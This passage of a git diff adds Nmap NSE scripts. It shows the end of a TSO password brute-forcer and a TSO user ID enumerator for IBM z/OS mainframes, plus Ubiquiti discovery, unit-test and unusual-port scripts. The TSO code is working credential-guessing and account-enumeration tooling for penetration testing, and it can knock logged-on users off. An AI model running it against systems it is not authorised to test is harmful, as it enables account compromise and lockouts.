+ stdnse.debug(2,"Screen Received for User ID: %s", user)
+ self.tn3270:get_screen_debug(2)
+ -- This error occurs on too many concurrent application requests it
+ -- should be temporary. We use the new setReduce function.
+ local err = brute.Error:new( "Not at TSO" )
+ err:setReduce(true)
+ stdnse.debug(1,"TSO Unavailable for UserID %s", pass )
+ return false, err
+ end
+
+ if self.tn3270:find('not authorized to use TSO') then -- invalid user ID
+ stdnse.debug(2,"Got Message: IKJ56420I Userid %s not authorized to use TSO.", user)
+ -- Store the invalid ID in the registry so we don't keep trying it with subsequent passwords
+ -- when using the brute library.
+ register_invalid(user)
+ return false, brute.Error:new( "User ID not authorized to use TSO" )
+ else
+ -- It's a valid account so lets try a password
+ stdnse.debug(2,"%s is a valid TSO User ID. Trying Password: %s", string.upper(user), pass)
+ if always_logon then
+ local writeable = self.tn3270:writeable()
+ -- This turns on the 'reconnect' which may boot users off
+ self.tn3270:send_locations({{writeable[1][1],pass},{writeable[11][1],"S"}})
+ else
+ self.tn3270:send_cursor(pass)
+ end
+
+ self.tn3270:get_all_data()
+ while self.tn3270:isClear() do
+ -- the screen is blank for a few while it loads TSO
+ self.tn3270:get_all_data()
+ end
+
+ stdnse.debug(2,"Screen Received for User/Pass: %s/%s", user, pass)
+ self.tn3270:get_screen_debug(2)
+
+ if not always_logon and self.tn3270:find("already logged on") then
+ -- IKJ56425I LOGON rejected User already logged on to system
+ register_invalid(user)
+ return true, creds.Account:new(user, "<skipped>", "User logged on. Skipped.")
+ elseif (self.tn3270:find("IKJ56425I") and self.tn3270:find("IKJ56418I")) then
+ -- IKJ56425I LOGON REJECTED, RACF® TEMPORARILY REVOKING USER ACCESS
+ -- IKJ56418I CONTACT YOUR TSO ADMINISTRATOR
+ -- The first message (5I) is always followed by the second if the account it revoked
+ -- But not followed by the second message if its just logged on already
+ register_invalid(user) -- We dont want to keep generating errors
+ stdnse.verbose(3,"User: " .. user .. " LOCKED OUT")
+ return false, brute.Error:new("Account Locked out")
+ elseif not (self.tn3270:find("IKJ56421I") or
+ self.tn3270:find("IKJ56443I") or
+ self.tn3270:find("TSS7101E") or
+ self.tn3270:find("TSS714[0-3]E") or
+ self.tn3270:find("TSS7099E") or
+ self.tn3270:find("TSS7120E")) then
+ -- RACF:
+ -- IKJ56421I PASSWORD NOT AUTHORIZED FOR USERID
+ -- IKJ56443I TSOLOGON RECONNECT REJECTED - USER ACCESS REVOKED BY RACF
+
+ -- Top Secret:
+ -- TSS7101E Password is Incorrect
+ -- TSS7140E Accessor ID Has Expired: No Longer Valid
+ -- TSS7141E Use of Accessor ID Suspended
+ -- TSS7142E Accessor ID Not Yet Available for Use - Still Inactive
+ -- TSS7143E Accessor ID Has Been Inactive Too Long
+ -- TSS7120E PASSWORD VIOLATION THRESHOLD EXCEEDED
+ -- TSS7099E Signon credentials invalid
+
+ -- The 'MSG allows testers to discern any relevant messages they may get for the account'
+ stdnse.verbose(2,"Valid User/Pass: " .. user .. "/" .. pass)
+ stdnse.verbose(3,"Valid MSG for " .. user .. "/" .. pass .. ": " .. self.tn3270:get_screen():sub(1,80))
+ return true, creds.Account:new(user, pass, creds.State.VALID)
+ else
+ return false, brute.Error:new( "Incorrect password" )
+ end
+ end
+ end
+}
+
+--- Tests the target to see if we can even get to TSO
+--
+-- @param host host NSE object
+-- @param port port NSE object
+-- @param commands script-args of commands to use to get to TSO
+-- @return status true on success, false on failure
+-- @return name of security product installed
+local function tso_test( host, port, commands )
+ stdnse.debug("Checking for TSO")
+ local tn = tn3270.Telnet:new()
+ tn:disable_tn3270e()
+ local status, err = tn:initiate(host,port)
+ local tso = false -- initially we're not at TSO logon panel
+ local secprod = "RACF"
+ tn:get_screen_debug(2) -- prints TN3270 screen to debug
+ if not status then
+ stdnse.debug("Could not initiate TN3270: %s", err )
+ return tso, "Could not Initiate TN3270"
+ end
+ local run = stringaux.strsplit(";%s*", commands)
+ for i = 1, #run do
+ stdnse.debug(2,"Issuing Command (#%s of %s): %s", i, #run ,run[i])
+ tn:send_cursor(run[i])
+ tn:get_all_data()
+ end
+ tn:get_screen_debug(2)
+
+ if tn:find("***") then
+ secprod = "TopSecret/ACF2"
+ end
+
+ if tn:find("ENTER USERID") or tn:find("TSO/E LOGON") then
+ tso = true
+ -- Patch OA44855 removed the ability to enumerate users
+ tn:send_cursor("notreal")
+ tn:get_all_data()
+ if tn:find("IKJ56476I ENTER PASSWORD") then
+ return false, secprod, "Enumeration is not possible. PASSWORDPREPROMPT is set to ON."
+ end
+ end
+ tn:send_pf(3)
+ tn:disconnect()
+ return tso, secprod, "Could not get to TSO. Try --script-args=tso-brute.commands='logon applid(tso)'. Aborting."
+end
+
+--- Tests the target to see if we can speed up brute forcing
+-- VTAM/USSTable will sometimes allow you to put the userid
+-- in the command area either through data() or just adding
+-- the userid. This function will test for both
+--
+-- @param host host NSE object
+-- @param port port NSE object
+-- @param commands script-args of commands to use to get to TSO
+-- @return status true on success, false on failure
+local function tso_skip( host, port, commands )
+ stdnse.debug("Checking for IKJ56700A message skip")
+ local tn = tn3270.Telnet:new()
+ tn:disable_tn3270e()
+ stdnse.debug2("Connecting TN3270 to %s:%s", host.targetname or host.ip, port.number)
+ local status, err = tn:initiate(host,port)
+ stdnse.debug2("Displaying initial TN3270 Screen:")
+ tn:get_screen_debug(2) -- prints TN3270 screen to debug
+ if not status then
+ stdnse.debug("Could not initiate TN3270: %s", err )
+ return false
+ end
+ -- We're connected now to test.
+ local data = false
+ if commands:upper():find('LOGON APPLID') then
+ stdnse.debug(2,"Using LOGON command (%s) trying DATA() command", commands )
+ data = true
+ else
+ stdnse.debug(2,"Not using LOGON command, testing adding userid to command" )
+ end
+
+ local run = stringaux.strsplit(";%s*", commands)
+ for i = 1, #run do
+ stdnse.debug(2,"Issuing Command (#%s of %s): %s", i, #run ,run[i])
+ if i == #run then
+ if data then
+ stdnse.debug(2,"Sending "..run[i].." DATA(FAKEUSER)")
+ tn:send_cursor(run[i].." DATA(FAKEUSER)")
+ else
+ stdnse.debug(2,"Sending "..run[i].." FAKEUSER")
+ tn:send_cursor(run[i].." FAKEUSER")
+ end
+ else
+ tn:send_cursor(run[i])
+ end
+ tn:get_all_data()
+ end
+ tn:get_screen_debug(2)
+
+ if tn:find("IKJ56710I INVALID USERID") or
+ tn:find("Enter LOGON parameters below") then
+ stdnse.debug('IKJ56700A message skip supported')
+ return true
+ else
+ return false
+ end
+end
+
+-- Filter iterator for unpwdb usernames
+-- TSO is limited to 7 alpha numeric and @, #, $ and can't start with a number
+-- If this user ID has been confirmed to not be a valid TSO account
+-- it will stop being passed to the brute engine
+-- pattern:
+-- ^%D = The first char must NOT be a digit
+-- [%w@#%$] = All letters including the special chars @, #, and $.
+local valid_name = function(x)
+ if nmap.registry.tsoinvalid and nmap.registry.tsoinvalid[x] then
+ return false
+ else
+ return (string.len(x) <= 7 and string.match(x,"^%D+[%w@#%$]"))
+ end
+end
+
+-- Checks string to see if it follows valid password limitations
+local valid_pass = function(x)
+ local patt = "[%w@#%$]"
+ return (string.len(x) <= 8 and string.match(x,patt))
+end
+
+action = function( host, port )
+ local status, result
+ local commands = stdnse.get_script_args(SCRIPT_NAME .. '.commands') or "tso"
+ -- if a user is logged on this script will not try to logon as that user
+ -- because a user is only allowed to logon from one location. If you turn always_logon on
+ -- it will logon if it finds a valid username/password, kicking that user off
+ local always_logon = stdnse.get_script_args(SCRIPT_NAME .. '.always_logon') or false
+ local tsotst, secprod, err = tso_test(host, port, commands)
+ if tsotst then
+ stdnse.debug("Starting TSO Brute Force")
+ local options = { key1 = commands, key2 = always_logon, skip = tso_skip(host, port, commands) }
+ local engine = brute.Engine:new(Driver, host, port, options)
+ -- TSO has username/password restrictions.
+ -- This sets the iterators to use only valid TSO userids/passwords
+ engine:setUsernameIterator(unpwdb.filter_iterator(brute.usernames_iterator(),valid_name))
+ engine:setPasswordIterator(unpwdb.filter_iterator(brute.passwords_iterator(),valid_pass))
+ engine.options.script_name = SCRIPT_NAME
+ engine.options:setTitle("TSO Accounts")
+ status, result = engine:start()
+ return result
+ else
+ return err
+ end
+end
diff --git a/scripts/tso-enum.nse b/scripts/tso-enum.nse
new file mode 100644
index 0000000..a73adbc
--- /dev/null
+++ b/scripts/tso-enum.nse
@@ -0,0 +1,291 @@
+local stdnse = require "stdnse"
+local shortport = require "shortport"
+local tn3270 = require "tn3270"
+local brute = require "brute"
+local creds = require "creds"
+local unpwdb = require "unpwdb"
+local nmap = require "nmap"
+local string = require "string"
+local stringaux = require "stringaux"
+
+description = [[
+TSO User ID enumerator for IBM mainframes (z/OS). The TSO logon panel
+tells you when a user ID is valid or invalid with the message:
+ <code>IKJ56420I Userid <user ID> not authorized to use TSO</code>.
+
+The TSO logon process can work in two ways:
+1) You get prompted with <code>IKJ56700A ENTER USERID -</code>
+ to which you reply with the user you want to use.
+ If the user ID is valid it will give you a normal
+ TSO logon screen. Otherwise it will give you the
+ screen logon error above.
+2) You're given the TSO logon panel and enter your user ID
+ at the <code>Userid ===></code> prompt. If you give
+ it an invalid user ID you receive the error message above.
+
+This script relies on the NSE TN3270 library which emulates a
+TN3270 screen for NMAP.
+
+TSO user IDs have the following rules:
+ - it cannot begin with a number
+ - only contains alpha-numeric characters and @, #, $.
+ - it cannot be longer than 7 chars
+]]
+
+---
+-- @args tso-enum.commands Commands in a semi-colon separated list needed
+-- to access TSO. Defaults to <code>tso</code>.
+--
+-- @usage
+-- nmap --script=tso-enum -p 23 <targets>
+--
+-- @usage
+-- nmap -sV -p 9923 10.32.70.10 --script tso-enum --script-args userdb=tso_users.txt,tso-enum.commands="logon applid(tso)"
+--
+-- @output
+-- PORT STATE SERVICE VERSION
+-- 23/tcp open tn3270 IBM Telnet TN3270
+-- | tso-enum:
+-- | TSO User ID:
+-- | TSO User:RAZOR - Valid User ID
+-- | TSO User:BLADE - Valid User ID
+-- | TSO User:PLAGUE - Valid User ID
+-- |_ Statistics: Performed 6 guesses in 3 seconds, average tps: 2
+--
+-- @changelog
+-- 2015-07-04 - v0.1 - created by Soldier of Fortran
+-- 2015-10-30 - v0.2 - streamlined the code, relying on brute and unpwdb and
+-- renamed to tso-enum.
+-- 2017-1-13 - v0.3 - Fixed 'data' bug and added options checking to speedup
+-- 2019-02-01 - v0.4 - Disabled TN3270 Enhanced support and fixed debug errors
+
+
+author = "Philip Young aka Soldier of Fortran"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive", "brute"}
+
+portrule = shortport.port_or_service({23,992,623}, {"tn3270"})
+
+Driver = {
+ new = function(self, host, port, options)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.host = host
+ o.port = port
+ o.options = options
+ o.tn3270 = tn3270.Telnet:new()
+ o.tn3270:disable_tn3270e()
+ return o
+ end,
+ connect = function( self )
+ local status, err = self.tn3270:initiate(self.host,self.port)
+ self.tn3270:get_screen_debug(2)
+ if not status then
+ stdnse.debug("Could not initiate TN3270: %s", err )
+ return false
+ end
+ return true
+ end,
+ disconnect = function( self )
+ self.tn3270:send_pf(3)
+ self.tn3270:disconnect()
+ self.tn3270 = nil
+ return true
+ end,
+ login = function (self, user, pass)
+ -- pass is actually the user id we want to try
+ local commands = self.options['key1']
+ local skip = self.options['skip']
+ stdnse.debug(2,"Getting to TSO")
+ local run = stringaux.strsplit(";%s*", commands)
+ for i = 1, #run do
+ stdnse.debug(2,"Issuing Command (#%s of %s): %s", i, #run ,run[i])
+ if i == #run and run[i]:upper():find("LOGON APPLID") and skip then
+ stdnse.verbose(2,"Trying User ID: %s", pass)
+ self.tn3270:send_cursor(run[i] .. " DATA(" .. pass .. ")")
+ elseif i == #run and skip then
+ stdnse.verbose(2,"Trying User ID: %s", pass)
+ self.tn3270:send_cursor(run[i] .. " " .. pass)
+ else
+ self.tn3270:send_cursor(run[i])
+ end
+ self.tn3270:get_all_data()
+ end
+
+ if self.tn3270:find("%*%*%*") then
+ self.tn3270:send_enter()
+ self.tn3270:get_all_data()
+ end
+
+ if not self.tn3270:find("ENTER USERID")
+ and not self.tn3270:find("TSO/E LOGON")
+ and not self.tn3270:find("IKJ56710I INVALID USERID") then
+ local err = brute.Error:new("Too many connections")
+ -- This error occurs on too many concurrent application requests it
+ -- should be temporary. We use the new setReduce function.
+ err:setReduce(true)
+ stdnse.debug(1,"TSO Unavailable for UserID %s", pass )
+ return false, err
+ end
+
+ if not skip then
+ stdnse.verbose(2,"Trying User ID: %s", pass)
+ self.tn3270:send_cursor(pass)
+ self.tn3270:get_all_data()
+ -- some systems require an enter after sending a valid user ID
+ end
+
+ stdnse.debug(2,"Screen Received for User ID: %s", pass)
+ self.tn3270:get_screen_debug(2)
+ if self.tn3270:find('not authorized to use TSO') or
+ self.tn3270:find('IKJ56710I INVALID USERID') then -- invalid user ID
+ return false, brute.Error:new( "Incorrect User ID" )
+ elseif self.tn3270:find('NO USER APPLID AVAILABLE') or self.tn3270:isClear()
+ or not (self.tn3270:find('TSO/E LOGON') or
+ self.tn3270:find("IKJ56710I INVALID USERID")) then
+ -- This error occurs on too many concurrent application requests it
+ -- should be temporary. We use the new setReduce function here to reduce number of connections.
+ local err = brute.Error:new( "TSO Unavailable" )
+ err:setReduce(true)
+ stdnse.debug(1,"TSO Unavailable for UserID %s", pass )
+ return false, err
+ else
+ stdnse.verbose("Valid TSO User ID: %s", string.upper(pass))
+ return true, creds.Account:new("TSO User",string.upper(pass), " Valid User ID")
+ end
+ end
+}
+
+--- Tests the target to see if we can even get to TSO
+--
+-- @param host host NSE object
+-- @param port port NSE object
+-- @param commands script-args of commands to use to get to TSO
+-- @return status true on success, false on failure
+-- @return name of security product installed
+local function tso_test( host, port, commands )
+ stdnse.debug("Checking for TSO")
+ local tn = tn3270.Telnet:new()
+ tn:disable_tn3270e()
+ local status, err = tn:initiate(host,port)
+ local tso = false -- initially we're not at TSO logon panel
+ local secprod = "RACF"
+ tn:get_screen_debug(2) -- prints TN3270 screen to debug
+ if not status then
+ stdnse.debug("Could not initiate TN3270: %s", err )
+ return tso, "Could not Initiate TN3270"
+ end
+ local run = stringaux.strsplit(";%s*", commands)
+ for i = 1, #run do
+ stdnse.debug(2,"Issuing Command (#%s of %s): %s", i, #run ,run[i])
+ tn:send_cursor(run[i])
+ tn:get_all_data()
+ end
+ tn:get_screen_debug(2)
+
+ if tn:find("***") then
+ secprod = "TopSecret/ACF2"
+ end
+
+ if tn:find("ENTER USERID") or tn:find("TSO/E LOGON") then
+ tso = true
+ -- Patch OA44855 removed the ability to enumerate users
+ tn:send_cursor("notreal")
+ tn:get_all_data()
+ if tn:find("IKJ56476I ENTER PASSWORD") then
+ return false, secprod, "Enumeration is not possible. PASSWORDPREPROMPT is set to ON."
+ end
+ end
+ tn:send_pf(3)
+ tn:disconnect()
+ return tso, secprod, "Could not get to TSO. Try --script-args=tso-enum.commands='logon applid(tso)'. Aborting."
+end
+
+--- Tests the target to see if we can speed up brute forcing
+-- VTAM/USSTable will sometimes allow you to put the userid
+-- in the command area either through data() or just adding
+-- the userid. This function will test for both
+--
+-- @param host host NSE object
+-- @param port port NSE object
+-- @param commands script-args of commands to use to get to TSO
+-- @return status true on success, false on failure
+local function tso_skip( host, port, commands )
+ stdnse.debug("Checking for IKJ56700A message skip")
+ local tn = tn3270.Telnet:new()
+ tn:disable_tn3270e()
+ stdnse.debug2("Connecting TN3270 to %s:%s", host.targetname or host.ip, port.number)
+ local status, err = tn:initiate(host,port)
+ stdnse.debug2("Displaying initial TN3270 Screen:")
+ tn:get_screen_debug(2) -- prints TN3270 screen to debug
+ if not status then
+ stdnse.debug("Could not initiate TN3270: %s", err )
+ return false
+ end
+ -- We're connected now to test.
+ local data = false
+ if commands:upper():find('LOGON APPLID') then
+ stdnse.debug(2,"Using LOGON command (%s) trying DATA() command", commands )
+ data = true
+ else
+ stdnse.debug(2,"Not using LOGON command, testing adding userid to command" )
+ end
+
+ local run = stringaux.strsplit(";%s*", commands)
+ for i = 1, #run do
+ stdnse.debug(2,"Issuing Command (#%s of %s): %s", i, #run ,run[i])
+ if i == #run then
+ if data then
+ stdnse.debug(2,"Sending "..run[i].." DATA(FAKEUSER)")
+ tn:send_cursor(run[i].." DATA(FAKEUSER)")
+ else
+ stdnse.debug(2,"Sending "..run[i].." FAKEUSER")
+ tn:send_cursor(run[i].." FAKEUSER")
+ end
+ else
+ tn:send_cursor(run[i])
+ end
+ tn:get_all_data()
+ end
+ tn:get_screen_debug(2)
+
+ if tn:find("IKJ56710I INVALID USERID") or
+ tn:find("Enter LOGON parameters below") then
+ stdnse.debug('IKJ56700A message skip supported')
+ return true
+ else
+ return false
+ end
+end
+
+
+-- Filter iterator for unpwdb
+-- TSO is limited to 7 alpha numeric and @, #, $ and can't start with a number
+-- pattern:
+-- ^%D = The first char must NOT be a digit
+-- [%w@#%$] = All letters including the special chars @, #, and $.
+local valid_name = function(x)
+ return (string.len(x) <= 7 and string.match(x,"^%D+[%w@#%$]"))
+end
+
+action = function(host, port)
+ local commands = stdnse.get_script_args(SCRIPT_NAME .. '.commands') or "tso"
+ local tsotst, secprod, err = tso_test(host, port, commands)
+ if tsotst then
+ local options = { key1 = commands, skip = tso_skip(host, port, commands) }
+ stdnse.debug("Starting TSO User ID Enumeration")
+ local engine = brute.Engine:new(Driver, host, port, options)
+ engine.options.script_name = SCRIPT_NAME
+ engine:setPasswordIterator(unpwdb.filter_iterator(brute.usernames_iterator(),valid_name))
+ engine.options.passonly = true
+ engine.options:setTitle("TSO User ID")
+ local status, result = engine:start()
+ port.version.extrainfo = "Security: " .. secprod
+ nmap.set_port_version(host, port)
+ return result
+ else
+ return err
+ end
+
+end
diff --git a/scripts/ubiquiti-discovery.nse b/scripts/ubiquiti-discovery.nse
new file mode 100644
index 0000000..d5589af
--- /dev/null
+++ b/scripts/ubiquiti-discovery.nse
@@ -0,0 +1,375 @@
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local ipOps = require "ipOps"
+local tableaux = require "tableaux"
+
+description = [[
+Extracts information from Ubiquiti networking devices.
+
+This script leverages Ubiquiti's Discovery Service which is enabled by default
+on many products. It will attempt to leverage version 1 of the protocol first
+and, if that fails, attempt version 2.
+]]
+
+author = {"Tom Sellers"}
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"default", "discovery", "version", "safe"}
+
+---
+-- @usage
+-- nmap -sU -p 10001 --script ubiquiti-discovery.nse <target>
+--
+---
+-- @output
+-- PORT STATE SERVICE VERSION
+-- 10001/udp open ubiquiti-discovery Ubiquiti Discovery Service (v1 protocol, ER-X software ver. v1.10.7)
+-- | ubiquiti-discovery:
+-- | protocol: v1
+-- | uptime_seconds: 113144
+-- | uptime: 1 days 07:25:44
+-- | hostname: ubnt-router
+-- | product: ER-X
+-- | firmware: EdgeRouter.ER-e50.v1.10.7.5127989.181001.1227
+-- | version: v1.10.7
+-- | interface_to_ip:
+-- | 80:2a:a8:ae:f1:63:
+-- | 192.168.0.1
+-- | 172.25.16.1
+-- | 80:2a:a8:ae:f1:5e:
+-- | 55.55.55.10
+-- | 55.55.55.11
+-- | 55.55.55.12
+-- | mac_addresses:
+-- | 80:2a:a8:ae:f1:63
+-- |_ 80:2a:a8:ae:f1:5e
+--
+-- PORT STATE SERVICE REASON VERSION
+-- 10001/udp open ubiquiti-discovery udp-response Ubiquiti Discovery Service (v2 protocol, UCK-v2 software ver. 5.9.29)
+-- | ubiquiti-discovery:
+-- | protocol: v2
+-- | firmware: UCK.mtk7623.v0.12.0.29a26c9.181001.1444
+-- | version: 5.9.29
+-- | model: UCK-v2
+-- | config_status: managed/adopted
+-- | interface_to_ip:
+-- | 78:8a:20:21:ae:7b:
+-- | 192.168.0.30
+-- | mac_addresses:
+-- |_ 78:8a:20:21:ae:7b
+--
+--@xmloutput
+-- <elem key="protocol">v1</elem>
+-- <elem key="uptime_seconds">113144</elem>
+-- <elem key="uptime">1 days 07:25:44</elem>
+-- <elem key="hostname">ubnt-router</elem>
+-- <elem key="product">ER-X</elem>
+-- <elem key="firmware">EdgeRouter.ER-e50.v1.10.7.5127989.181001.1227</elem>
+-- <elem key="version">v1.10.7</elem>
+-- <table key="interface_to_ip">
+-- <table key="80:2a:a8:ae:f1:63">
+-- <elem>192.168.0.1</elem>
+-- <elem>172.25.16.1</elem>
+-- </table>
+-- <table key="80:2a:a8:ae:f1:5e">
+-- <elem>55.55.55.10</elem>
+-- <elem>55.55.55.11</elem>
+-- <elem>55.55.55.12</elem>
+-- </table>
+-- </table>
+-- <table key="mac_addresses">
+-- <elem>80:2a:a8:ae:f1:63</elem>
+-- <elem>80:2a:a8:ae:f1:5e</elem>
+-- </table>
+--
+-- <elem key="protocol">v2</elem>
+-- <elem key="version">5.9.29</elem>
+-- <elem key="model">UCK-v2</elem>
+-- <elem key="config_status">managed/adopted</elem>
+-- <table key="interface_to_ip">
+-- <table key="78:8a:20:21:ae:7b">
+-- <elem>192.168.0.30</elem>
+-- </table>
+-- </table>
+-- <table key="mac_addresses">
+-- <elem>78:8a:20:21:ae:7b</elem>
+-- </table>
+--
+
+
+portrule = shortport.port_or_service(10001, "ubiquiti-discovery", "udp", {"open", "open|filtered"})
+
+local PROBE_V1 = string.pack("BB I2",
+ 0x01, 0x00, -- version, command
+ 0x00, 0x00 -- length
+)
+
+local PROBE_V2 = string.pack("BB I2",
+ 0x02, 0x08, -- version, command
+ 0x00, 0x00 -- length
+)
+---
+-- Converts uptime seconds into a human readable string
+--
+-- E.g. "86518" -> "1 days 00:01:58"
+--
+-- @param uptime number of seconds of uptime
+-- @return formatted uptime string (days, hours, minutes, seconds)
+local function uptime_str(uptime)
+ if not uptime then
+ return nil
+ end
+
+ local d = uptime // 86400
+ local h = uptime // 3600 % 24
+ local m = uptime // 60 % 60
+ local s = uptime % 60
+
+ return string.format("%d days %02d:%02d:%02d", d, h, m, s)
+end
+
+---
+-- Parses the full payload of a discovery response
+--
+-- There are different fields for v1 and v2 of the protocol but as far as I can
+-- tell they don't conflict so we should be safe parsing them both with the same
+-- code as long as we sanity check the version and cmd.
+--
+-- @param payload containing response
+-- @return output_table containing results or nil
+local function parse_discovery_response(response)
+
+ local info = stdnse.output_table()
+ local unique_macs = {}
+ local mac_ip_table = {}
+
+ if #response < 4 then
+ return nil
+ end
+
+ -- Verify header and cmd
+ if response:byte(1) == 0x01 then
+ if response:byte(2) ~= 0x00 then
+ return nil
+ end
+ info.protocol = "v1"
+ elseif response:byte(1) == 0x02 then
+ -- Known values for cmd are 6,9, and 11
+ if response:byte(2) ~= 0x06 and response:byte(2) ~= 0x09
+ and response:byte(2) ~= 0x0b then
+
+ return nil
+ end
+ info.protocol = "v2"
+ else
+ return nil
+ end
+
+ local config_len = string.unpack(">I2", response, 3)
+
+ -- Do the lengths check out?
+ if ( not ( #response == config_len + 4) ) then
+ return nil
+ end
+
+ -- Response looks legit, start extraction
+ local config_data = string.sub(response, 5, #response)
+
+ local tlv_type, tlv_len, tlv_value, pos
+ local mac, mac_raw, ip, ip_raw
+ pos = 1
+
+ while pos <= #config_data - 2 do
+ tlv_type = config_data:byte(pos)
+ tlv_len = string.unpack(">I2", config_data, pos +1)
+ pos = pos + 3
+
+ -- Sanity check that TLV len isn't larger than the data we have left.
+ -- Has been observed in the wild against protocols just similar enough to
+ -- make it here.
+ if tlv_len > (#config_data - pos + 1) then
+ return nil
+ end
+
+ tlv_value = config_data:sub(pos, pos + tlv_len - 1)
+
+ -- MAC address
+ if tlv_type == 0x01 then
+ mac_raw = tlv_value:sub(1, 6)
+ mac = stdnse.format_mac(mac_raw)
+ unique_macs[mac] = true
+
+ -- MAC and IP address
+ elseif tlv_type == 0x02 then
+ mac_raw = tlv_value:sub(1, 6)
+ mac = stdnse.format_mac(mac_raw)
+ unique_macs[mac] = true
+
+ ip_raw = tlv_value:sub(7, tlv_len)
+ ip = ipOps.str_to_ip(ip_raw)
+ if mac_ip_table[mac] == nil then
+ mac_ip_table[mac] = {}
+ end
+ mac_ip_table[mac][ip] = true
+
+ elseif tlv_type == 0x03 then
+ info.firmware = tlv_value
+
+ local human_version = tlv_value:match("%.(v%d+%.%d+%.%d+)")
+ if human_version then
+ info.version = human_version
+ end
+
+ elseif tlv_type == 0x0a then
+ if tlv_len == 4 then
+ local uptime_raw = string.unpack(">I4", tlv_value)
+ info.uptime_seconds = uptime_raw
+ info.uptime = uptime_str(uptime_raw)
+ end
+
+ elseif tlv_type == 0x0b then
+ info.hostname = tlv_value
+
+ elseif tlv_type == 0x0c then
+ info.product = tlv_value
+
+ elseif tlv_type == 0x0d then
+ info.essid = tlv_value
+
+ elseif tlv_type == 0x0f then
+ -- value also includes bit shifted flag for http vs https but we
+ -- are ignoring it here.
+ if tlv_len == 4 then
+ tlv_value = string.unpack(">I4", tlv_value)
+ info.mgmt_port = tlv_value & 0xffff
+ end
+
+ -- model v1 protocol
+ elseif tlv_type == 0x14 then
+ info.model = tlv_value
+
+ -- model v2 protocol
+ elseif tlv_type == 0x15 then
+ info.model = tlv_value
+
+ elseif tlv_type == 0x16 then
+ info.version = tlv_value
+
+ elseif tlv_type == 0x17 then
+ local is_default
+ if tlv_len == 4 then
+ is_default = string.unpack("I4", tlv_value)
+ elseif tlv_len == 1 then
+ is_default = string.unpack("I1", tlv_value)
+ end
+
+ if is_default == 1 then
+ info.config_status = "default/unmanaged"
+ elseif is_default == 0 then
+ info.config_status = "managed/adopted"
+ end
+
+ else
+
+ -- Other known or observed values
+ -- Some have been seen in code but not observed to test while others have
+ -- been observed but we don't know how to decode them.
+
+ -- 0x06 - username
+ -- 0x07 - salt
+ -- 0x08 - random challenge
+ -- 0x09 - challenge
+ -- 0x0e - WMODE - state of config? length 1 value 03 value 02
+ -- 0x10 - length 2 value e4b2 value e8a5 e815
+ -- 0x12 - SEQ - lenth 4
+ -- 0x13 - Source Mac, unused?
+ -- 0x18 - length 4 and 4 nulls, or length 1 and 0xff
+ -- 0xff - length 2 value e835
+
+ stdnse.debug1("Unknown tag: %s - length: %d value: %s",
+ stdnse.tohex(tlv_type), tlv_len,
+ stdnse.tohex(tlv_value))
+ end
+
+ pos = pos + tlv_len
+ end
+
+ if next(mac_ip_table) ~= nil then
+ info.interface_to_ip = {}
+ for k, _ in pairs(mac_ip_table) do
+ info.interface_to_ip[k] = tableaux.keys(mac_ip_table[k])
+ end
+ end
+
+ if next(unique_macs) ~= nil then
+ info.mac_addresses = tableaux.keys(unique_macs)
+ end
+
+ return info
+end
+
+---
+-- Send probe and handle housekeeping
+--
+-- @param host A host table for the target host
+-- @param port A port table for the target port
+-- @return (status, result) If status is true, result the target's response to
+-- a probe. If status is false, result is an error message.
+local function send_probe(host, port, probe)
+
+ local socket = nmap.new_socket()
+ socket:set_timeout(5000)
+
+ local try = nmap.new_try(function() socket:close() end)
+
+ try( socket:connect(host, port) )
+ try( socket:send(probe) )
+
+ local stat, resp = socket:receive_bytes(4)
+ socket:close()
+
+ return stat, resp
+end
+
+function action(host, port)
+
+ local status, response = send_probe(host, port, PROBE_V1)
+
+ if not status then
+ status, response = send_probe(host, port, PROBE_V2)
+
+ if not status then
+ return nil
+ end
+ end
+
+ nmap.set_port_state(host, port, "open")
+
+ local result = parse_discovery_response(response)
+
+ if not result then
+ return nil
+ end
+
+ port.version.name = "ubiquiti-discovery"
+ port.version.product = "Ubiquiti Discovery Service"
+
+ local extrainfo = result.protocol .. " protocol"
+ if result.product then
+ extrainfo = extrainfo .. ", " .. result.product
+ elseif result.model then
+ extrainfo = extrainfo .. ", " .. result.model
+ end
+
+ if result.version then
+ port.version.extrainfo = extrainfo .. " software ver. " .. result.version
+ end
+
+ port.version.ostype = "Linux"
+ nmap.set_port_version(host, port, "hardmatched")
+
+ return result
+end
diff --git a/scripts/unittest.nse b/scripts/unittest.nse
new file mode 100644
index 0000000..ee18abb
--- /dev/null
+++ b/scripts/unittest.nse
@@ -0,0 +1,44 @@
+local stdnse = require "stdnse"
+local unittest = require "unittest"
+
+description = [[
+Runs unit tests on all NSE libraries.
+]]
+
+---
+-- @args unittest.run Run tests. Causes <code>unittest.testing()</code> to
+-- return true.
+--
+-- @args unittest.tests Run tests from only these libraries (defaults to all)
+--
+-- @usage
+-- nmap --script unittest --script-args unittest.run
+--
+-- @output
+-- Pre-scan script results:
+-- | unittest:
+-- |_ All tests passed
+
+author = "Daniel Miller"
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"safe"}
+
+
+prerule = unittest.testing
+
+action = function()
+ local libs = stdnse.get_script_args("unittest.tests")
+ local result
+ if libs then
+ result = unittest.run_tests(libs)
+ else
+ result = unittest.run_tests()
+ end
+ if #result == 0 then
+ return "All tests passed"
+ else
+ return result
+ end
+end
diff --git a/scripts/unusual-port.nse b/scripts/unusual-port.nse
new file mode 100644
index 0000000..2dd83bb
--- /dev/null
+++ b/scripts/unusual-port.nse
@@ -0,0 +1,130 @@
+local datafiles = require "datafiles"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+
+description = [[
+Compares the detected service on a port against the expected service for that
+port number (e.g. ssh on 22, http on 80) and reports deviations. The script
+requires that a version scan has been run in order to be able to discover what
+service is actually running on each port.
+]]
+
+---
+-- @usage
+-- nmap --script unusual-port <ip>
+--
+-- @output
+-- 23/tcp open ssh OpenSSH 5.8p1 Debian 7ubuntu1 (protocol 2.0)
+-- |_unusual-port: ssh unexpected on port tcp/23
+-- 25/tcp open smtp Postfix smtpd
+--
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = { "safe" }
+
+
+local svc_table
+
+portrule = function()
+ local status
